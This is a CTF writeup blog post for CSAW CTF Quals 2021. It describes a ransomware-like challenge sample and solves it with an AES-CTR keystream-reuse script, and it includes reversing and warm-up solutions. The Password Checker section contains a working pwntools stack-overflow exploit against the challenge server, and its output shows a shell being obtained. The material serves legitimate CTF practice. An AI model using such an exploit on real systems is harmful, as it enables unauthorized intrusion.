日記帳

CTFのWriteupや雑記など

CSAW CTF Quals 2021 Writeup

I really love ransomwaRE challenge, because it was very good practice for my static analysis (and some dynamic analysis) against windows malware. Thanks to everyone belongs to CPAW CTF organizer for hosting this amazing CTF competition.

rev

ransomwaRE

This challenge is focusing about ransomware-like program that encrypts PDF file(s) under %USERPROFILE%\SecretCSAWDocuments folder using AES128 algorithm (with CTR mode). Distributed executable is just a downloader (and doing some plus alpha stuffs), the essential part of program can be downloaded from http://rev.chal.csaw.io:8129/5692481aecd40429eecf588d28ce6a31. Program has a structure that keeps key, nonce, EVP_CIPHER object, and user id (which will be written on %USERPROFILE%\AppData\Local\Temp, and displayed when encryption is done), so I have named this Config structure. Config will be initialized inside Gin function, by storing random bytes to each member variables inside. Key, nonce, user id will be hexlified and sent to remote server (well, server only returns 404 so this part seems to be meaningless).

f:id:m0pisec:20210911220853p:plain

Because its using same keystream for all files, we can attack this cipher by known-plaintext keystream-reuse attack. I am not well-known about crypto stuffs, so please check this page that I have learned about it. This is the solver, which will output flag.pdf with the flag.

Solver:

import os
import binascii
from Crypto.Cipher import AES
from Crypto.Util import Counter
from Crypto.Util import strxor

# us-aers-ransomware.pdf
sample_plain = open('us-aers-ransomware.pdf.backup', 'rb').read()
sample_cipher = open('us-aers-ransomware.pdf.cryptastic', 'rb').read()

# flag.pdf
flag_cipher = open('flag.pdf.cryptastic', 'rb').read()
keystream = strxor.strxor(sample_cipher, sample_plain)[:len(flag_cipher)]
flag_plain = open('flag.pdf', 'wb').write(strxor.strxor(flag_cipher, keystream))

Output:

f:id:m0pisec:20210911222850p:plain
flag.pdf

Flag: flag{w4y_t0_put_th3_RE_1n_W1nd0w5_r4n50mw4RE}

misc

Welcome

C&P from Discord.

Flag: flag{W3Lcom3_7o_CS4w_D1ScoRD}

warm-up

poem-collection

Easy Web Chall. (Answer)

Flag: flag{l0c4l_f1l3_1nclusi0n_f0r_7h3_w1n}

Turing

f:id:m0pisec:20210911124820p:plain
https://cryptii.com/pipes/enigma-machine

Flag: flag{scruffy_looking_nerf_herder}

Password Checker

Very simple and easy pwn challenge. Just be careful about stack alignment.

Solver:

from pwn import *
from struct import pack

# conn = process('./password_checker')
conn = remote('pwn.chal.csaw.io', 5000)
payload  = b'A' * 72 # 72
payload += pack('<I', 0x401173)
conn.recvuntil(b"Enter the password to get in: \n>")
conn.sendline(payload)
conn.interactive()

Output:

$ python3 test.py
[+] Opening connection to pwn.chal.csaw.io on port 5000: Done
[*] Switching to interactive mode
This is not the password$ ls
flag.txt
password_checker
$ cat flag.txt
flag{ch4r1i3_4ppr3ci4t35_y0u_f0r_y0ur_h31p}

Flag: flag{ch4r1i3_4ppr3ci4t35_y0u_f0r_y0ur_h31p}

checker

Reversing Python Script.

Solver

def up(x):
    x = [f"{ord(x[i]) << 1:08b}" for i in range(len(x))]
    return ''.join(x)

def up_rev(d):
    x = []
    for i in range(0, len(d), 8):
        x.append(chr(int('0b'+d[i:i+8],2) >> 1))
    return ''.join(x)

def down(x):
    x = ''.join(['1' if x[i] == '0' else '0' for i in range(len(x))])
    return x

def right(x,d):
    x = x[d:] + x[0:d]
    return x

def right_rev(x,d):
    x = x[-1*d:] + x[:-1*d]
    return x

def left(x,d):
    x = right(x,len(x)-d)
    return x[::-1]

def left_rev(x,d):
    x = x[::-1]
    return right_rev(x,len(x)-d)

def encode(plain):
    d = 24
    x = up(plain)
    x = right(x,d)
    x = down(x)
    x = left(x,d)
    return x

def decode(encoded):
    d = 24
    x = left_rev(encoded, d)
    x = down(x)
    x = right_rev(x, d)
    plain = up_rev(x)
    return plain

def main():
    encoded = "1010000011111000101010101000001010100100110110001111111010001000100000101000111011000100101111011001100011011000101011001100100010011001110110001001000010001100101111001110010011001100"
    print(decode(encoded))

if __name__ == "__main__":
  main()

Output:

> python .\checker.py
flag{r3vers!nG_w@rm_Up}

Flag: flag{r3vers!nG_w@rm_Up}